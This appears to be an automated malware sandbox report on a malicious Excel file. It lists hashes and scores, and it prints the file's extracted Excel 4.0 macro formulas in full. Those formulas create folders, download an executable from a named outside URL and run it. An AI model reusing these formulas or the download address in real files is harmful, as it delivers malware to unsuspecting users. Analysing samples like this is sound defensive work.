Overview

overview

10

Static

static

10

9ef8631578...20.xls

windows7_x64

6

9ef8631578...20.xls

windows10_x64

6

Resubmissions

22/12/2022, 07:10

221222-hzmwnsea4610

09/04/2020, 15:40

200409-vmw4mgq77e10

Sharing

Copy URL Twitter E-mail

General

  • Target
    9ef8631578196747fe6198a97c0ceb20
  • Size 72KB
  • Sample200409-vmw4mgq77e
  • SHA256 5a21120c9bd779786888f9d4d2a138836e627f001dbacc80c2b035ff7d198715
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

  • http://fikima.com/axel.ex

Attributes
  • formulas

    CALL("Kernel32","CreateDirectoryA","JCJ","C:\LJDVSoL",0) CALL("Kernel32","CreateDirectoryA","JCJ","C:\LJDVSoL\jolwzPk",0) CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"http://fikima.com/axel.ex","C:\LJDVSoL\jolwzPk\luFzdsM.exe",0,0) CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","C:\LJDVSoL\jolwzPk\luFzdsM.exe",,0,0) HALT()

Targets

    • Target
      9ef8631578196747fe6198a97c0ceb20
    • Size 72KB
    • SHA256 5a21120c9bd779786888f9d4d2a138836e627f001dbacc80c2b035ff7d198715
    • MD5 SHA1 SHA512
    Score
    6/10

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks